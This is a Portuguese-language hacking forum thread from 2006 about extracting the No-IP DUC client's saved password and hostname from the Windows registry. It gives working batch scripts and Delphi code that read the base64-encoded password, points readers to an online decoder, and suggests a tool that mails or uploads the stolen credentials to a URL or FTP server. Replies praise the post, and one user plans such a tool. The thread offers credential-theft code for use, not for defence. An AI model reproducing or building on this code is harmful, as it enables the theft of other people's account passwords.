Pegando senha local do No-IP

Started by whit3_sh4rk, 23 de March , 2006, 01:50:38 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

whit3_sh4rk

Bom, para quem usa o serviço No-IP e tem instalado o utilitário DUC para a atualização da DNS, estarei mostrando como obter a senha, usando batch script e/ou delphi..

Batch:
Quote@echo off
FOR /F "TOKENS=2* delims=   " %%A IN ('REG QUERY HKLM\SOFTWARE\Vitalwerks\DUC /v Password') DO SET PassNoIP=%%B
echo A senha eh: %PassNoIP%

Com a ajudinha do FOR obtemos apenas o que queremos, a senha...

Teste sem o uso do FOR:
Quote@echo off
REG QUERY HKLM\SOFTWARE\Vitalwerks\DUC /v Password

Agora pegando a url da DNS:
Quote@echo off
FOR /F "TOKENS=2* delims=#," %%A IN ('REG QUERY HKLM\SOFTWARE\Vitalwerks\DUC /v Hosts') DO SET Host=%%A
echo O host eh: %Host%

Novamente com a ajuda do FOR, sem ele ficaria:
Quote@echo off
REG QUERY HKLM\SOFTWARE\Vitalwerks\DUC /v Hosts

Pronto em batch script é isso..

Agora em delphi:
Primeiro, declare Registry em uses..
Em um evento OnClick de um botão, faça:
Quoteprocedure TForm1.Button1Click(Sender: TObject);
var
  Reg: TRegistry;
  Host: String;
  Senha: String;
begin
  Reg:=TRegistry.create;
  with Reg do
  begin
  rootkey:=HKEY_LOCAL_MACHINE;
  OpenkeyReadOnly('SOFTWARE\Vitalwerks\DUC');
  Host:=readstring('Hosts');
  Senha:=readstring('Password');
  closekey;
  end;
  ShowMessage('DNS: '+Host+#13#10+'Senha: '+Senha);
  end;

Testem aí.. bom, em ambos os métodos, recebemos a senha codificada em base64..
Se for algum newbie, não terá valido o trabalho, pois não saberá o que fazer com uma senha criptografada..

Mas se não for, e a pessoa souber que é base64 é só ir no google e buscar: base64 decode..
Agora entre no primeiro site que aparecer:
http://www.opinionatedgeek.com/dotnet/t ... e64Decode/

E decodifique a senha... Pronto..

Foi apenas uma demonstração simples de como obter esses dados do serviço No-IP localmente..

Mas é claro que nada te impede de fazer algo mais trabalhado, como por exemplo fazer uma tool para pegar esses dados e enviá-los por email, para uma URL(php), ou até mesmo para um FTP..

Usem a imaginação hehe..

[]s

Anonymous

Aê whit3_sh4rk, muito legal seu post cara.

Está bem obejetivo e ainda conta com um link para decode que facilita muito.

Gostei mesmo =p

Abração,

H4xn3tw0rk.

OnlyOne

Tubarao, to  com a mo preguiça entao faz um favor , me passa o link pra
baixa o no-ip  q eu vo testa aqui no meu pc dai vo cria uma tool
completa q pega a senha no registro e quebra a base64 , eu tenho como
faze isso via soft ok ?
No céu toca Joy Division